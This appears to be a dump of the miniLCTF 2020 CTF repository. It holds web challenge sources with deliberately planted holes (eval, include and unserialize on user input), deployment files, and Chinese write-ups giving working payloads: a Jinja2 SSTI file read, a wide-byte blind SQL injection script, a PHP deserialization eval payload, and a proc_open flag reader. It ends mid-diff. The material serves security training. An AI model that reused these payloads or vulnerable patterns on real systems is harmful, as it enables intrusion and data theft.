    40 | 41 | 42 | """.format(ip) 43 | 44 | if check_context(ip): 45 | return render_template_string(context) 46 | 47 | else: 48 | return "hacker!!!Get out!!!" 49 | -------------------------------------------------------------------------------- /challenges/web/Personal_IP_Query/README.md: -------------------------------------------------------------------------------- 1 | # Personal_IP_Query 题目 2 | 3 | ## 考察知识点 4 | - XFF IP 伪造 5 | - Flask jinja2 SSTI 6 | 7 | ## 解题思路 8 | - 过滤了 " ' _ 9 | - 使用 flask 的 request.args 绕过 10 | - payload 11 | - get数据 12 | - `http://127.0.0.1:5000/?class=__class__&base=__base__&subclasses=__subclasses__&builtins=__builtins__&globals=__globals__&init=__init__&catchwarnings=catch_warnings&name=__name__&filename=flag&readmodel=r` 13 | - XFF头中数据 14 | - `{% for c in [][request.args.class][request.args.base]request.args.subclasses %}{% if c[request.args.name]==request.args.catchwarnings %}{{ c[request.args.init][request.args.globals][request.args.builtins].open(request.args.filename, request.args.readmodel).read() }}{% endif %}{% endfor %}` -------------------------------------------------------------------------------- /challenges/web/Personal_IP_Query/gunicorn.conf.py: -------------------------------------------------------------------------------- 1 | workers = 3 2 | worker_class = "gevent" 3 | bind = "0.0.0.0:80" -------------------------------------------------------------------------------- /challenges/web/Personal_IP_Query/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==1.1.2 2 | gunicorn 3 | gevent -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM frankli0324/lnmp:debian-7.4 2 | 3 | LABEL maintainer="frankli0324@hotmail.com" 4 | 5 | COPY db.sql /db.sql 6 | RUN mysqld_safe & until mysqladmin ping -s; do sleep 1; done \ 7 | && mysqladmin -uroot password 'root' \ 8 | && mysql -uroot -proot < /db.sql 9 | 10 | COPY flag.sh /flag.sh 11 | RUN chmod +x /flag.sh 12 | 13 | COPY src /var/www/html 14 | RUN chown -R www-data:www-data /var/www/html 15 | 16 | COPY php.ini $PHP_INI_DIR/php.ini 17 | -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/areyoureclu3e.md: -------------------------------------------------------------------------------- 1 | 下载.index.php.swp和.login.php.swp获取源码 2 | 3 | login.php 4 | 5 | ```php 6 | alert("Yes! you are reclu3e")'; 33 | } 34 | } 35 | } 36 | if(!empty($msg)){ 37 | echo ""; 38 | } 39 | $conn->close(); 40 | echo ""; 43 | ``` 44 | 45 | 看到数据库编码为gbk,并且使用addslashes()函数进行过滤,考虑使用宽字节注入。注入脚本如下: 46 | 47 | 这里我已经首先进行手动注入得知密码长度为12位,payload为1%ed' or lenth((select password from users))=12%23。并且此处表名字段名在上面代码中已给出。并且注入前要根据题目提示猜测出用户名为reclu3e。 48 | 49 | 这里不适用requests库的原因是它会对post的数据进行url编码,编码后就破坏了payload,在我尝试利用request.Session和request.Parse发送请求并在其中修改post数据的值后,便出现发包后没有响应的情况(也可能是包没有发出),于是改用urllib库。 50 | 51 | 这里使用二分法获取密码而不是直接用等号进行遍历的原因不光是为了节省时间,mysql中0='a'的结果是true,因此可能导致结果全为0或空白符。 52 | 53 | ```python 54 | import urllib.request 55 | import urllib.parse 56 | import time 57 | name='' 58 | for j in range(1,13): 59 | l = 32 60 | h = 127 61 | while abs(l-h)>1: 62 | i=int((l+h)/2) 63 | url="http://areyoureclu3e.whye.xyz/login.php" 64 | username="1%ed' or ascii(substr((select password from users),"+str(j)+",1))>"+str(i)+"%23" 65 | data={'username':username,'password':''} 66 | data=bytes(urllib.parse.urlencode(data),encoding='utf-8') 67 | data=data.replace(b'%25',b'%') 68 | r = urllib.request.urlopen(url=url,data=data) 69 | time.sleep(0.005) 70 | if r.status=='429': 71 | print('to fast') 72 | if 'I know you are reclu3e but you need post the right password' in str(r.read()): 73 | l = i 74 | else: 75 | h = i 76 | name += chr(h) 77 | print(name) 78 | ``` 79 | 80 | 获取密码后登录,再根据index.php源码进行反序列化 81 | 82 | ```php 83 | Hello, reclu3e!'; 93 | $p=unserialize(isset($_GET["p"])?$_GET["p"]:""); 94 | } 95 | ?> 96 | name=''; 105 | $this->age=0; 106 | $this->weight='0kg'; 107 | $this->height='0cm'; 108 | } 109 | public function __wakeup(){ 110 | if(is_numeric($this->serialize)){ 111 | $this->serialize++; 112 | } 113 | } 114 | public function __destruct(){ 115 | @eval('$s="'.$this->serialize.'";'); 116 | } 117 | } 118 | ``` 119 | 120 | 这里__destruct()析构函数处存在命令执行,此处可以利用$this->serialize进行命令执行。为什么能执行看[这篇文章](https://cloud.tencent.com/developer/article/1148417) 121 | 122 | 首先在下载的index.php文件下面加上 123 | 124 | ```php 125 | $a=new person(); 126 | echo serialize($a); 127 | ``` 128 | 129 | 可以获取到序列化后的person对象: 130 | 131 | O:6:"person":5:{s:4:"name";s:0:"";s:3:"age";i:0;s:6:"weight";s:3:"0kg";s:6:"height";s:3:"0cm";s:17:"personserialize";N;} 132 | 133 | 在其中的serialize部分加入payload,将其改为: 134 | 135 | O:6:"person":5:{s:4:"name";s:0:"";s:3:"age";i:0;s:6:"weight";s:3:"0kg";s:6:"height";s:3:"0cm";s:17:"%00person%00serialize";s:26:"${print($GLOBALS[%27flag%27])}";} 136 | 137 | 然后get方式提交为参数即可获取flag 138 | 139 | php序列化时会在private变量名前的类名前后加上空白符%00,但是打印出来会丢失,所以要加上。这也是为什么'personserialize'只有15位而前面会显示s:17的原因。 140 | 141 | 这里我们打印$flag时,由于$flag是全局变量,在方法内无法直接访问,所以利用超全局变量$GLOBALS数组进行访问。该数组储存了所有的全局变量。 142 | 143 | -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/db.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE users; 2 | 3 | use users; 4 | 5 | CREATE TABLE users ( 6 | username TEXT NOT NULL, 7 | password VARCHAR(200) NOT NULL 8 | ); 9 | 10 | INSERT INTO 11 | users VALUE ('reclu3e', '50dc96a1567a18eb384eeddf1a9a7d48'); 12 | 13 | CREATE USER 'ctf'@'localhost' IDENTIFIED BY 'ctf'; 14 | GRANT SELECT ON users.users TO 'ctf'@'localhost'; -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/flag.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sed -i "s/flag_here/$FLAG/" flag.php 3 | unset FLAG 4 | rm -f /flag.sh -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/src/.index.php.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/web/areyoureclu3e/src/.index.php.swp -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/src/.login.php.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/web/areyoureclu3e/src/.login.php.swp -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/src/connection.php: -------------------------------------------------------------------------------- 1 | connect_error) { 7 | die("数据库连接失败,请联系管理员。"); 8 | } 9 | -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/src/flag.php: -------------------------------------------------------------------------------- 1 | Hello, reclu3e!'; 9 | $p=unserialize(isset($_GET["p"])?$_GET["p"]:""); 10 | } 11 | ?> 12 | serialize)){ 21 | $this->serialize++; 22 | } 23 | } 24 | public function __destruct(){ 25 | @eval('$s="'.$this->serialize.'";'); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/src/login.php: -------------------------------------------------------------------------------- 1 | alert("Yes! you are reclu3e")'; 28 | } 29 | } 30 | } 31 | if(!empty($msg)){ 32 | echo ""; 33 | } 34 | $conn->close(); 35 | echo ""; -------------------------------------------------------------------------------- /challenges/web/areyoureclu3e/src/loginForm.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | User Login 8 | 9 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
    32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /challenges/web/id_wife/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/web/id_wife/.DS_Store -------------------------------------------------------------------------------- /challenges/web/id_wife/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM frankli0324/lnmp:debian-5.6 2 | 3 | LABEL maintainer="frankli0324@hotmail.com" 4 | 5 | COPY src /var/www/html 6 | 7 | COPY flag.sh /flag.sh 8 | COPY db.sql /db.sql 9 | RUN mysqld_safe & until mysqladmin ping -s; do sleep 1; done \ 10 | && mysqladmin -uroot password 'root' \ 11 | && mysql -e 'source /db.sql' -uroot -proot 12 | 13 | RUN rm -f /db.sql 14 | -------------------------------------------------------------------------------- /challenges/web/id_wife/db.sql: -------------------------------------------------------------------------------- 1 | drop database if exists miniL; 2 | 3 | create database miniL; 4 | 5 | use miniL; 6 | 7 | create table user 8 | ( 9 | id text not null , 10 | herf varchar(200) not null 11 | ); 12 | CREATE USER 'web'@'%' IDENTIFIED BY 'web'; 13 | GRANT ALL PRIVILEGES ON miniL.* TO 'web'@'%'; 14 | GRANT SELECT ON mysql.* TO 'web'@'%'; 15 | 16 | create table `1145141919810` 17 | ( 18 | id text not null , 19 | content text not null 20 | ); 21 | 22 | insert into user(id,herf) value 23 | ('w1nd',"http://www.f1ag.com/wp-content/uploads/2020/04/F@G2S0VOQ1@9K37CK7EC.jpg"), 24 | ('frank',"http://www.f1ag.com/wp-content/uploads/2020/04/FFRLH1PGRF76LN_U.jpg"), 25 | ('sad',"http://www.f1ag.com/wp-content/uploads/2020/04/KBZXG0J1@B8GVU@IC0SF.jpg"), 26 | ('huai',"http://www.f1ag.com/wp-content/uploads/2020/04/YZUBG1RSBLREX9JXEH.jpg"), 27 | ('nen9ma0',"http://www.f1ag.com/wp-content/uploads/2020/04/E6TOS3T7XE9RBQRHFB.jpg"), 28 | ('endcat',"http://www.f1ag.com/wp-content/uploads/2020/04/YRGCQYYL6P5WXZP7SR-e1586589241259.jpg"), 29 | ('v0id',"http://www.f1ag.com/wp-content/uploads/2020/04/EVURBPTQ6MDKFP_3U1.png"), 30 | ('reclu3e',"http://www.f1ag.com/wp-content/uploads/2020/04/5HPZVROL8DIPKD1CIUO.jpg"), 31 | ('luoqian',"http://www.f1ag.com/wp-content/uploads/2020/04/8JJVVZI@D4HNMG02HIDX7.jpg"), 32 | ('K0rz3n',"http://www.f1ag.com/wp-content/uploads/2020/04/P@F28ZZ9QH5J3V61D.jpg"), 33 | ('happy',"http://www.f1ag.com/wp-content/uploads/2020/04/40ACEJU8KTTOVEEUG.jpg"), 34 | ('ruby',"http://www.f1ag.com/wp-content/uploads/2020/04/7RCQ@9A3J8U2HI0HFCG.jpg"), 35 | ('konge',"http://www.f1ag.com/wp-content/uploads/2020/04/71H60CYPUGA7PG2G0Y.png"), 36 | ('wallet',"http://www.f1ag.com/wp-content/uploads/2020/04/QW6E5@@ICVU095ZM57M15.png"), 37 | ('qie',"http://www.f1ag.com/wp-content/uploads/2020/04/O0G2BS8NKO4SX7FZR3E.png"), 38 | ('rx',"http://www.f1ag.com/wp-content/uploads/2020/04/XD_4IJBGNA1KAQ9RDOO.png"), 39 | ('whye',"http://www.f1ag.com/wp-content/uploads/2020/04/@9WUJ06@2D7_G27EP.png"), 40 | ('gloucester',"http://www.f1ag.com/wp-content/uploads/2020/04/AFYILFTSZ6V37EG@7.png"); 41 | -------------------------------------------------------------------------------- /challenges/web/id_wife/flag.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mysql -e "INSERT INTO \`1145141919810\` (id, content) VALUES ('ffffllllaaaagggg', '$FLAG');" -uroot -proot miniL 4 | 5 | unset FLAG 6 | 7 | rm -f /flag.sh 8 | -------------------------------------------------------------------------------- /challenges/web/id_wife/src/flag.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
    4 |
    5 |
    6 | 7 | 你的ip是:$ip
    已发送给管理员

    XDSEC成员-1

    "; 12 | fwrite($file, $ip."\n"); 13 | echo "

    当你看到它的时候就应该知道与本题flag无关了,所以不要继续尝试这个界面了

    "; 14 | ?> 15 | 16 | -------------------------------------------------------------------------------- /challenges/web/id_wife/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
    4 |

    为了让学弟学妹们更好的认识各位师傅


    5 |

    F1ag决定让学弟学妹们一睹师傅们的芳容


    6 |

    在下面输入id(均小写)即刻看到师傅们的 私 房 照

    7 |
    8 | id:
    9 | 10 | 11 |
    12 | 13 | 14 | 15 | connect_error){ 27 | die("连接失败,请联系出题人:".$conn->connect_error); 28 | } 29 | 30 | $id=$_POST['id']; 31 | 32 | if(!isset($id)){ 33 | echo "
    e.g.:当你输入w1nd,将显示
    "; 34 | return; 35 | } 36 | if(preg_match("/f1ag|flag|f1@g|F1@g|F1@G|f1@G|fl@g|Fl@g|FL@G|fL@g|fl@G|Fl@G|fL@G|\./i",$id)){ 37 | echo ""; 38 | exit; 39 | } 40 | 41 | if(preg_match("/select|update|delete|drop|insert|where|alter|change|rename|\./i",$id)){ 42 | die("hack"); 43 | } 44 | 45 | if(strstr($id, "execute") || strstr($id, "prepare") || strstr($id, "deallocate")){ 46 | die('almost there!'."
    ".'hint:strstr'); 47 | } 48 | 49 | 50 | $sql="select * from user where id=('$id')"; 51 | $query = $conn->multi_query($sql); 52 | if (!$query){ 53 | echo "error ".$conn->errno." : ".$conn->error; 54 | } else { 55 | do{ 56 | if ($result = $conn->store_result()){ 57 | if(!$ans = $result->fetch_row()){ 58 | echo ""; 59 | exit; 60 | } 61 | //$ans = $result->fetch_row(); 62 | do{ 63 | if (preg_match("/(http):\/\/([\w.]+\/?)\S*/", $ans[1]))echo "
    "; 64 | var_dump($ans); 65 | echo "
    "; 66 | }while($ans = $result->fetch_row()); 67 | $result->Close(); 68 | if ($conn->more_results()){ 69 | echo "
    "; 70 | } 71 | } 72 | }while($conn->next_result()); 73 | } 74 | $conn->close(); 75 | 76 | ?> 77 | -------------------------------------------------------------------------------- /challenges/web/id_wife/src/xdsec.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
    4 |
    5 |
    6 | 7 | 你的ip是:$ip
    已记录到./ip.txt

    记错师傅id,XDSEC成员-1

    "; 12 | fwrite($file, $ip."\n"); 13 | echo "

    当你看到它的时候就应该知道与本题flag无关了,所以不要继续尝试这个界面了

    "; 14 | ?> 15 | -------------------------------------------------------------------------------- /challenges/web/include/TE9PS0hFUkU=.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | -------------------------------------------------------------------------------- /challenges/web/include/ZmxhZ2ZsQGcxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjM.txt: -------------------------------------------------------------------------------- 1 | Congratulations! 2 | miniL{ad87a2c369637dc51895cb557c98481c} -------------------------------------------------------------------------------- /challenges/web/include/f1na1.php: -------------------------------------------------------------------------------- 1 | See hint.';} 4 | $file=$_GET['file']; 5 | if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 6 | echo "Hacker!"; 7 | exit(); 8 | } 9 | include($file); 10 | ?> -------------------------------------------------------------------------------- /challenges/web/include/hint.php: -------------------------------------------------------------------------------- 1 |

    Flag is here.

    -------------------------------------------------------------------------------- /challenges/web/include/index.php: -------------------------------------------------------------------------------- 1 | 14 | 15 | -------------------------------------------------------------------------------- /challenges/web/include/next.php: -------------------------------------------------------------------------------- 1 | '!','LOOKHERE'=>'TE9PS0hFUkU=.html'); 3 | ?> -------------------------------------------------------------------------------- /challenges/web/lets_play_dolls/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-fpm-alpine 2 | 3 | RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories 4 | RUN apk add --no-cache nginx 5 | COPY nginx.conf /etc/nginx/nginx.conf 6 | RUN mkdir -p /run/nginx 7 | COPY index.php /var/www/html/index.php -------------------------------------------------------------------------------- /challenges/web/lets_play_dolls/README.md: -------------------------------------------------------------------------------- 1 | ## Let's play dolls 2 | 3 | 如题面,构造反序列化攻击链入门题 4 | 虽然使用php 7.4.24是出题时粗心导致,但歪打正着,引出了一个很有趣的点。 5 | 讲题时会深入说明。 -------------------------------------------------------------------------------- /challenges/web/lets_play_dolls/index.php: -------------------------------------------------------------------------------- 1 | var='phpinfo();'; 14 | } 15 | function execute(){ 16 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) { 17 | if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){ 18 | eval($this->var); 19 | } 20 | else{ 21 | die("hacked!"); 22 | } 23 | } 24 | 25 | } 26 | function __wakeup(){ 27 | $this->var="phpinfo();"; 28 | } 29 | function __desctuct(){ 30 | echo '
    desctuct foo1
    '; 31 | } 32 | } 33 | class foo2{ 34 | public $var; 35 | public $obj; 36 | function __construct(){ 37 | $this->var='hi'; 38 | $this->obj=null; 39 | } 40 | function __toString(){ 41 | $this->obj->execute(); 42 | return $this->var; 43 | } 44 | function __desctuct(){ 45 | echo '
    desctuct foo2
    '; 46 | } 47 | } 48 | class foo3{ 49 | public $var; 50 | function __construct(){ 51 | $this->var="index.php"; 52 | } 53 | function __destruct(){ 54 | if(file_exists($this->var)){ 55 | echo "
    ".$this->var."exist
    "; 56 | } 57 | echo "
    desctuct foo3
    "; 58 | } 59 | function execute(){ 60 | print("hi"); 61 | } 62 | } -------------------------------------------------------------------------------- /challenges/web/lets_play_dolls/nginx.conf: -------------------------------------------------------------------------------- 1 | daemon off; 2 | 3 | worker_processes auto; 4 | 5 | error_log /var/log/nginx/error.log warn; 6 | 7 | events { 8 | worker_connections 1024; 9 | } 10 | 11 | http { 12 | include /etc/nginx/mime.types; 13 | default_type application/octet-stream; 14 | sendfile on; 15 | keepalive_timeout 65; 16 | 17 | server { 18 | listen 80; 19 | server_name localhost; 20 | root /var/www/html; 21 | index index.php; 22 | 23 | proxy_set_header Host $host; 24 | proxy_set_header X-Real-IP $remote_addr; 25 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 26 | 27 | location / { 28 | try_files $uri $uri/ /index.php?$args; 29 | } 30 | 31 | location ~ \.php$ { 32 | try_files $uri =404; 33 | fastcgi_pass 127.0.0.1:9000; 34 | fastcgi_index index.php; 35 | include fastcgi_params; 36 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 37 | } 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /challenges/web/p/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.0.9-fpm-alpine 2 | 3 | RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tencentyun.com/g' /etc/apk/repositories \ 4 | && apk add --update --no-cache nginx \ 5 | && mkdir /run/nginx 6 | 7 | COPY start.sh /docker-php-entrypoint 8 | RUN chmod +x /docker-php-entrypoint 9 | COPY default.conf /etc/nginx/nginx.conf 10 | COPY src /var/www/html 11 | RUN chown -R www-data:www-data /var/www/html 12 | 13 | WORKDIR /var/www/html 14 | 15 | EXPOSE 80 16 | 17 | VOLUME ["/var/log/nginx"] 18 | 19 | CMD ["/bin/sh", "-c", "/docker-php-entrypoint"] 20 | -------------------------------------------------------------------------------- /challenges/web/p/README.md: -------------------------------------------------------------------------------- 1 | 的确是原题 2 | 目的在于让大家记住 3 | ![image](https://user-images.githubusercontent.com/20221896/82396253-047cca80-9a80-11ea-8bd7-9cb85a887ab3.png) -------------------------------------------------------------------------------- /challenges/web/p/default.conf: -------------------------------------------------------------------------------- 1 | user www-data www-data; 2 | worker_processes auto; 3 | 4 | events { 5 | worker_connections 1024; 6 | } 7 | 8 | http { 9 | include /etc/nginx/mime.types; 10 | default_type application/octet-stream; 11 | sendfile on; 12 | keepalive_timeout 65; 13 | 14 | server { 15 | listen 80; 16 | root /var/www/html; 17 | index index.php index.html index.htm; 18 | 19 | location / { 20 | try_files $uri $uri/ /index.php?$args; 21 | } 22 | 23 | location ~ \.php$ { 24 | try_files $uri =404; 25 | include fastcgi_params; 26 | fastcgi_pass 127.0.0.1:9000; 27 | fastcgi_index index.php; 28 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 29 | } 30 | 31 | } 32 | } -------------------------------------------------------------------------------- /challenges/web/p/src/classes.php: -------------------------------------------------------------------------------- 1 | file = $f; 8 | } 9 | } 10 | class github { 11 | public $cmd = ''; 12 | function __destruct() { 13 | if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd)) 14 | die("cerror"); 15 | $blacklist = "~!@#%^&*()()-_{}[]'\":,"; 16 | foreach(str_split($blacklist) as $char) { 17 | echo $char; 18 | if(strchr($this->cmd, $char) !== false) 19 | die('serror'); 20 | } 21 | eval($this->cmd); 22 | } 23 | public function __wakeup() { 24 | if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') { 25 | // proxy_set_header X-Real-IP $remote_addr; 26 | die('across the great ... nope'); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /challenges/web/p/src/index.php: -------------------------------------------------------------------------------- 1 | location.reload()'; 7 | ob_end_flush(); 8 | die(); 9 | } 10 | $comp = unserialize(base64_decode($_COOKIE['git'])); 11 | highlight_file($comp->file); 12 | echo '
    '; 13 | -------------------------------------------------------------------------------- /challenges/web/p/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo $FLAG > /flag_56ebb17872df3a7a0b5cff88c0623173 4 | unset FLAG 5 | export FLAG= 6 | rm /docker-php-entrypoint 7 | 8 | php-fpm & 9 | nginx 10 | 11 | tail -F /var/log/nginx/access.log 12 | -------------------------------------------------------------------------------- /challenges/web/签到题/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine AS builder 2 | 3 | RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories 4 | RUN apk add --no-cache musl-dev gcc 5 | COPY readflag.c /readflag.c 6 | RUN gcc -o /readflag /readflag.c 7 | 8 | FROM php:5.6-fpm-alpine 9 | 10 | RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories 11 | RUN apk add --no-cache nginx 12 | COPY nginx.conf /etc/nginx/nginx.conf 13 | RUN mkdir -p /run/nginx 14 | COPY index.php /var/www/html/index.php 15 | 16 | COPY --from=builder /readflag /readflag 17 | RUN chown root:root /readflag 18 | RUN chmod u+s /readflag 19 | COPY start.sh /start.sh 20 | RUN chmod +x /start.sh 21 | RUN chown -R root:root /var/www/html 22 | RUN chmod -R 755 /var/www/html 23 | 24 | ENTRYPOINT [ "/start.sh" ] -------------------------------------------------------------------------------- /challenges/web/签到题/README.md: -------------------------------------------------------------------------------- 1 | proc_open 2 | 对已有工具的最大化利用。在打攻防的时候会派上一些用场 3 | 4 | ```php 5 | $d = array(array("pipe", "r"),array("pipe", "w"),array("pipe", "w")); 6 | $p = proc_open('/readflag', $d, $pipes, '/'); 7 | if (is_resource($p)) { 8 | fwrite($pipes[0], "y\n");fwrite($pipes[0], "y\n"); 9 | fgets($pipes[1]);fgets($pipes[1]); 10 | $expression = fread($pipes[1], 21); 11 | $expression = 'return '.substr($expression, 15, 5).';'; 12 | fwrite($pipes[0], eval($expression)."\n"); 13 | echo stream_get_contents($pipes[1]); 14 | } 15 | ``` 16 | 17 | ```bash 18 | echo base64(上面的) | base64 -d | php -r 'eval(stream_get_contents(STDIN));' 19 | ``` -------------------------------------------------------------------------------- /challenges/web/签到题/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 2 | #include 3 | char *s[2] = {"do you want the flag?\n", "really?\n"}; 4 | char expression[50]; 5 | int main() { 6 | srand(fgetc(fopen("/dev/urandom", "r"))); 7 | for (int i = 0; i < 2; i++) { 8 | printf("%s", s[i]); 9 | if (scanf("%50s", expression) <= 0 || expression[0] != 'y') 10 | return -1; 11 | } 12 | int a = rand() % 100, b = rand() % 100; 13 | printf("then calculate %d+%d=", a, b); 14 | fflush(stdout); 15 | a += b; 16 | if (scanf("%d", &b) <= 0 || a != b) { 17 | printf("?\n"); 18 | return -1; 19 | } 20 | fscanf(fopen("/flag", "r"), "%s", s); 21 | printf("okay, here you are\n%s", s); 22 | } -------------------------------------------------------------------------------- /challenges/web/签到题/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo $FLAG > /flag 4 | chown root:root /flag 5 | chmod 600 /flag 6 | 7 | export FLAG= 8 | rm /start.sh 9 | 10 | php-fpm & 11 | nginx & 12 | tail -F /var/log/nginx/access.log 13 | -------------------------------------------------------------------------------- /resources/platform/backend/whale.diff: -------------------------------------------------------------------------------- 1 | diff --git a/__init__.py b/__init__.py 2 | index 9f0237a..d949da4 100644 3 | --- a/__init__.py 4 | +++ b/__init__.py 5 | @@ -1,6 +1,7 @@ 6 | from __future__ import division # Use floating point for math calculations 7 | 8 | import fcntl 9 | +import hashlib 10 | import json 11 | import random 12 | import uuid 13 | @@ -9,7 +10,10 @@ from datetime import datetime 14 | from flask import Blueprint, render_template, request 15 | from flask_apscheduler import APScheduler 16 | 17 | -from CTFd.plugins import register_plugin_assets_directory 18 | +from CTFd.plugins import ( 19 | + register_plugin_assets_directory, 20 | + register_admin_plugin_menu_bar, 21 | +) 22 | from CTFd.plugins.challenges import CHALLENGE_CLASSES 23 | from CTFd.utils import user as current_user 24 | from CTFd.utils.decorators import admins_only, authed_only 25 | @@ -27,6 +31,9 @@ def load(app): 26 | register_plugin_assets_directory( 27 | app, base_path="/plugins/ctfd-whale/assets/" 28 | ) 29 | + register_admin_plugin_menu_bar( 30 | + 'Whale', '/plugins/ctfd-whale/admin/settings' 31 | + ) 32 | 33 | page_blueprint = Blueprint( 34 | "ctfd-whale", 35 | @@ -82,7 +89,7 @@ def load(app): 36 | DBUtils.renew_current_container(user_id=user_id, challenge_id=challenge_id) 37 | return json.dumps({'success': True}) 38 | 39 | - @page_blueprint.route('/container', methods=['POST']) 40 | + @app.route('/api/v1/container', methods=['POST']) 41 | @authed_only 42 | def add_container(): 43 | user_id = current_user.get_current_user().id 44 | @@ -106,7 +113,7 @@ def load(app): 45 | dynamic_docker_challenge = DynamicDockerChallenge.query \ 46 | .filter(DynamicDockerChallenge.id == challenge_id) \ 47 | .first_or_404() 48 | - flag = "flag{" + str(uuid.uuid4()) + "}" 49 | + flag = "minil{" + str(uuid.uuid4()) + "}" 50 | if dynamic_docker_challenge.redirect_type == "http": 51 | ControlUtil.add_container(app=app, user_id=user_id, challenge_id=challenge_id, flag=flag) 52 | else: 53 | @@ -116,7 +123,7 @@ def load(app): 54 | redis_util.release_lock() 55 | return json.dumps({'success': True}) 56 | 57 | - @page_blueprint.route('/container', methods=['GET']) 58 | + @app.route('/api/v1/container', methods=['GET']) 59 | @authed_only 60 | def list_container(): 61 | user_id = current_user.get_current_user().id 62 | @@ -126,32 +133,31 @@ def load(app): 63 | configs = DBUtils.get_all_configs() 64 | domain = configs.get('frp_http_domain_suffix', "") 65 | timeout = int(configs.get("docker_timeout", "3600")) 66 | - if data is not None: 67 | - if int(data.challenge_id) != int(challenge_id): 68 | - return json.dumps({}) 69 | - dynamic_docker_challenge = DynamicDockerChallenge.query \ 70 | - .filter(DynamicDockerChallenge.id == data.challenge_id) \ 71 | - .first_or_404() 72 | - lan_domain = str(user_id) + "-" + data.uuid 73 | - if dynamic_docker_challenge.redirect_type == "http": 74 | - if int(configs.get('frp_http_port', "80")) == 80: 75 | - return json.dumps({'success': True, 'type': 'http', 'domain': data.uuid + domain, 76 | - 'remaining_time': timeout - (datetime.now() - data.start_time).seconds, 77 | - 'lan_domain': lan_domain}) 78 | - else: 79 | - return json.dumps({'success': True, 'type': 'http', 80 | - 'domain': data.uuid + domain + ":" + configs.get('frp_http_port', "80"), 81 | - 'remaining_time': timeout - (datetime.now() - data.start_time).seconds, 82 | - 'lan_domain': lan_domain}) 83 | + if (data is None) or (int(data.challenge_id) != int(challenge_id)): 84 | + return json.dumps({'success': True}) 85 | + dynamic_docker_challenge = DynamicDockerChallenge.query \ 86 | + .filter(DynamicDockerChallenge.id == data.challenge_id) \ 87 | + .first_or_404() 88 | + lan_domain = hashlib.md5( 89 | + (str(user_id) + "-" + data.uuid).encode() 90 | + ).hexdigest() 91 | + if dynamic_docker_challenge.redirect_type == "http": 92 | + if int(configs.get('frp_http_port', "80")) == 80: 93 | + return json.dumps({'success': True, 'type': 'http', 'domain': lan_domain + domain, 94 | + 'remaining_time': timeout - (datetime.now() - data.start_time).seconds, 95 | + 'lan_domain': lan_domain}) 96 | else: 97 | - return json.dumps({'success': True, 'type': 'redirect', 'ip': configs.get('frp_direct_ip_address', ""), 98 | - 'port': data.port, 99 | + return json.dumps({'success': True, 'type': 'http', 100 | + 'domain': lan_domain + domain + ":" + configs.get('frp_http_port', "80"), 101 | 'remaining_time': timeout - (datetime.now() - data.start_time).seconds, 102 | 'lan_domain': lan_domain}) 103 | else: 104 | - return json.dumps({'success': True}) 105 | + return json.dumps({'success': True, 'type': 'redirect', 'ip': configs.get('frp_direct_ip_address', ""), 106 | + 'port': data.port, 107 | + 'remaining_time': timeout - (datetime.now() - data.start_time).seconds, 108 | + 'lan_domain': lan_domain}) 109 | 110 | - @page_blueprint.route('/container', methods=['DELETE']) 111 | + @app.route('/api/v1/container', methods=['DELETE']) 112 | @authed_only 113 | def remove_container(): 114 | user_id = current_user.get_current_user().id 115 | @@ -169,7 +175,7 @@ def 